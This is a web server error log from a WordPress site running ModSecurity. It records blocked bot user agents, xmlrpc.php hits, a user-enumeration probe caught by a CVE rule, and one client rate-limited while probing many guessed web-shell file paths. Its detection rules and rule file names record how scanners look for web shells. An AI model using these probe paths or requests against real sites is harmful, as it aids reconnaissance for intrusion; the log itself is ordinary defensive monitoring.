[Sun Apr 26 05:14:18.454774 2026] [:error] [pid 31273:tid 31361] [client 212.47.78.129:63177] [client 212.47.78.129] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "ae0uqvhcNJEGrATcuEeykwAAAVY"]
[Sun Apr 26 06:27:39.699890 2026] [:error] [pid 10315:tid 10336] [client 212.47.78.131:59408] [client 212.47.78.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ae0_26JIw2vjkleLIaCuQwAAARM"]
[Sun Apr 26 06:27:40.290647 2026] [:error] [pid 10315:tid 10320] [client 212.47.78.131:60811] [client 212.47.78.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "ae0_3KJIw2vjkleLIaCuRwAAAQM"]
[Sun Apr 26 06:48:29.991088 2026] [:error] [pid 10315:tid 10334] [client 41.143.135.186:57594] [client 41.143.135.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.143.135.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae1EvaJIw2vjkleLIaC83wAAARE"]
[Sun Apr 26 06:50:43.956880 2026] [:error] [pid 8491:tid 8524] [client 41.143.135.186:59756] [client 41.143.135.186] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ae1FQyq7I7e6CJooQM2i8AAAANg"]
[Sun Apr 26 06:51:12.180029 2026] [:error] [pid 13137:tid 13146] [client 41.143.135.186:60211] [client 41.143.135.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.143.135.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ae1FYN0RB4J0o4h5neHfrwAAAgY"]
[Sun Apr 26 08:07:24.248382 2026] [:error] [pid 22573:tid 22631] [client 43.138.68.113:41898] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ae1XPHB3EmQlD4yKUt8tlAAAAZg"]
[Sun Apr 26 08:33:29.652723 2026] [autoindex:error] [pid 16515:tid 16534] [client 20.9.69.97:11136] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 26 08:33:40.169875 2026] [:error] [pid 16515:tid 16539] [client 20.9.69.97:11136] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xv.php"] [unique_id "ae1dZFtDrUmgHSvpuLzVMQAAAlU"]
[Sun Apr 26 08:33:40.660532 2026] [:error] [pid 16574:tid 16616] [client 20.9.69.97:11237] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xv.php"] [unique_id "ae1dZH5MsX8wRQr99nYCGwAAA0s"]
[Sun Apr 26 08:33:41.527773 2026] [:error] [pid 8390:tid 8462] [client 20.9.69.97:11244] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xv.php"] [unique_id "ae1dZYGPtFK_i9p5yxRCqAAAAIs"]
[Sun Apr 26 08:33:42.634344 2026] [:error] [pid 13137:tid 13155] [client 20.9.69.97:11138] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xv.php"] [unique_id "ae1dZt0RB4J0o4h5neHxawAAAg4"]
[Sun Apr 26 08:33:43.351866 2026] [:error] [pid 13137:tid 13158] [client 20.9.69.97:11210] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x56.php"] [unique_id "ae1dZ90RB4J0o4h5neHxbAAAAhE"]
[Sun Apr 26 08:33:43.816732 2026] [:error] [pid 13137:tid 13152] [client 20.9.69.97:11214] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x56.php"] [unique_id "ae1dZ90RB4J0o4h5neHxbQAAAgs"]
[Sun Apr 26 08:33:44.649966 2026] [:error] [pid 22572:tid 22601] [client 20.9.69.97:11207] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x56.php"] [unique_id "ae1daNXOViWCFU-pZzCDSgAAAVc"]
[Sun Apr 26 08:33:46.268401 2026] [:error] [pid 16515:tid 16524] [client 20.9.69.97:11204] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x56.php"] [unique_id "ae1daltDrUmgHSvpuLzVNAAAAkY"]
[Sun Apr 26 08:33:47.872531 2026] [:error] [pid 13137:tid 13164] [client 20.9.69.97:11218] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/htaccess.php"] [unique_id "ae1da90RB4J0o4h5neHxbgAAAhc"]
[Sun Apr 26 08:33:50.769232 2026] [:error] [pid 16574:tid 16605] [client 20.9.69.97:11217] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/htaccess.php"] [unique_id "ae1dbn5MsX8wRQr99nYCHwAAA0E"]
[Sun Apr 26 08:33:52.577946 2026] [:error] [pid 13197:tid 13234] [client 20.9.69.97:11205] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/htaccess.php"] [unique_id "ae1dcN3kktFKdSxTrBuZqwAAAsM"]
[Sun Apr 26 08:33:54.374268 2026] [:error] [pid 22573:tid 22617] [client 20.9.69.97:11212] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/htaccess.php"] [unique_id "ae1dcnB3EmQlD4yKUt807wAAAYo"]
[Sun Apr 26 08:33:55.594877 2026] [:error] [pid 8385:tid 8437] [client 20.9.69.97:11201] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/readme.php"] [unique_id "ae1dczOy7_J84Wx3-ox6UQAAAE0"]
[Sun Apr 26 08:33:56.266136 2026] [:error] [pid 8390:tid 8459] [client 20.9.69.97:11209] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/readme.php"] [unique_id "ae1ddIGPtFK_i9p5yxRCugAAAIg"]
[Sun Apr 26 08:33:57.107109 2026] [:error] [pid 8390:tid 8455] [client 20.9.69.97:11262] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/readme.php"] [unique_id "ae1ddYGPtFK_i9p5yxRCuwAAAIQ"]
[Sun Apr 26 08:33:57.668805 2026] [:error] [pid 8390:tid 8460] [client 20.9.69.97:11148] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/readme.php"] [unique_id "ae1ddYGPtFK_i9p5yxRCvQAAAIk"]
[Sun Apr 26 08:33:59.132060 2026] [:error] [pid 8390:tid 8461] [client 20.9.69.97:11231] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x50.php"] [unique_id "ae1dd4GPtFK_i9p5yxRCwQAAAIo"]
[Sun Apr 26 08:34:00.070892 2026] [:error] [pid 13197:tid 13249] [client 20.9.69.97:11229] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x50.php"] [unique_id "ae1deN3kktFKdSxTrBuZsgAAAtE"]
[Sun Apr 26 08:34:01.828566 2026] [:error] [pid 8491:tid 8511] [client 20.9.69.97:11235] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x50.php"] [unique_id "ae1deSq7I7e6CJooQM2yrgAAAMw"]
[Sun Apr 26 08:34:02.768662 2026] [:error] [pid 16574:tid 16605] [client 20.9.69.97:11243] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x50.php"] [unique_id "ae1den5MsX8wRQr99nYCMAAAA0E"]
[Sun Apr 26 08:34:04.066859 2026] [:error] [pid 16574:tid 16608] [client 20.9.69.97:11246] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fv.php"] [unique_id "ae1dfH5MsX8wRQr99nYCMgAAA0Q"]
[Sun Apr 26 08:34:04.982902 2026] [:error] [pid 8390:tid 8468] [client 20.9.69.97:11219] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fv.php"] [unique_id "ae1dfIGPtFK_i9p5yxRCxwAAAJE"]
[Sun Apr 26 08:34:05.673381 2026] [:error] [pid 8390:tid 8470] [client 20.9.69.97:11200] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fv.php"] [unique_id "ae1dfYGPtFK_i9p5yxRCyQAAAJM"]
[Sun Apr 26 08:34:06.584517 2026] [:error] [pid 22572:tid 22593] [client 20.9.69.97:11226] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fv.php"] [unique_id "ae1dftXOViWCFU-pZzCDVQAAAU8"]
[Sun Apr 26 08:34:07.577782 2026] [:error] [pid 8385:tid 8447] [client 20.9.69.97:11239] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "ae1dfzOy7_J84Wx3-ox6VgAAAFc"]
[Sun Apr 26 08:34:08.325866 2026] [:error] [pid 8385:tid 8446] [client 20.9.69.97:11203] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "ae1dgDOy7_J84Wx3-ox6WAAAAFY"]
[Sun Apr 26 08:34:09.038719 2026] [:error] [pid 8491:tid 8504] [client 20.9.69.97:11154] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "ae1dgSq7I7e6CJooQM2ysgAAAMU"]
[Sun Apr 26 08:34:09.914456 2026] [:error] [pid 22573:tid 22612] [client 20.9.69.97:11146] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "ae1dgXB3EmQlD4yKUt809gAAAYY"]
[Sun Apr 26 08:34:10.469396 2026] [:error] [pid 16515:tid 16542] [client 20.9.69.97:11254] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lsd.php"] [unique_id "ae1dgltDrUmgHSvpuLzVUgAAAlg"]
[Sun Apr 26 08:34:11.059507 2026] [:error] [pid 22573:tid 22619] [client 20.9.69.97:11162] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lsd.php"] [unique_id "ae1dg3B3EmQlD4yKUt80-AAAAYw"]
[Sun Apr 26 08:34:11.776943 2026] [:error] [pid 8385:tid 8443] [client 20.9.69.97:11222] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lsd.php"] [unique_id "ae1dgzOy7_J84Wx3-ox6XAAAAFM"]
[Sun Apr 26 08:34:12.381953 2026] [:error] [pid 22573:tid 22626] [client 20.9.69.97:11161] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lsd.php"] [unique_id "ae1dhHB3EmQlD4yKUt80_AAAAZM"]
[Sun Apr 26 08:34:13.059930 2026] [:error] [pid 8390:tid 8459] [client 20.9.69.97:11251] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "ae1dhYGPtFK_i9p5yxRC1gAAAIg"]
[Sun Apr 26 08:34:13.702313 2026] [:error] [pid 8390:tid 8472] [client 20.9.69.97:11245] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "ae1dhYGPtFK_i9p5yxRC2gAAAJU"]
[Sun Apr 26 08:34:14.267148 2026] [:error] [pid 8390:tid 8474] [client 20.9.69.97:11153] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "ae1dhoGPtFK_i9p5yxRC2wAAAJc"]
[Sun Apr 26 08:34:15.357963 2026] [:error] [pid 8390:tid 8459] [client 20.9.69.97:11242] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "ae1dh4GPtFK_i9p5yxRC4QAAAIg"]
[Sun Apr 26 08:34:15.962514 2026] [:error] [pid 8491:tid 8507] [client 20.9.69.97:11171] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "ae1dhyq7I7e6CJooQM2ytQAAAMg"]
[Sun Apr 26 08:34:16.692546 2026] [:error] [pid 22573:tid 22618] [client 20.9.69.97:11233] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "ae1diHB3EmQlD4yKUt80_gAAAYs"]
[Sun Apr 26 08:34:17.167087 2026] [:error] [pid 22572:tid 22579] [client 20.9.69.97:11139] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "ae1didXOViWCFU-pZzCDWwAAAUE"]
[Sun Apr 26 08:34:17.580008 2026] [:error] [pid 22573:tid 22609] [client 20.9.69.97:11257] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "ae1diXB3EmQlD4yKUt80_wAAAYM"]
[Sun Apr 26 08:34:18.020489 2026] [:error] [pid 8390:tid 8461] [client 20.9.69.97:11206] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gtc.php"] [unique_id "ae1dioGPtFK_i9p5yxRC5wAAAIo"]
[Sun Apr 26 08:34:18.459056 2026] [:error] [pid 8390:tid 8463] [client 20.9.69.97:11255] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gtc.php"] [unique_id "ae1dioGPtFK_i9p5yxRC6gAAAIw"]
[Sun Apr 26 08:34:18.893715 2026] [:error] [pid 8390:tid 8460] [client 20.9.69.97:11155] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gtc.php"] [unique_id "ae1dioGPtFK_i9p5yxRC7QAAAIk"]
[Sun Apr 26 08:34:19.810809 2026] [:error] [pid 13137:tid 13159] [client 20.9.69.97:11170] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gtc.php"] [unique_id "ae1di90RB4J0o4h5neHxjwAAAhI"]
[Sun Apr 26 08:34:21.909291 2026] [:error] [pid 22572:tid 22581] [client 20.9.69.97:11167] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atx.php"] [unique_id "ae1djdXOViWCFU-pZzCDYAAAAUM"]
[Sun Apr 26 08:34:24.093688 2026] [:error] [pid 8390:tid 8460] [client 20.9.69.97:11199] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atx.php"] [unique_id "ae1dkIGPtFK_i9p5yxRDAAAAAIk"]
[Sun Apr 26 08:34:25.284868 2026] [:error] [pid 22573:tid 22610] [client 20.9.69.97:11076] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atx.php"] [unique_id "ae1dkXB3EmQlD4yKUt81BAAAAYQ"]
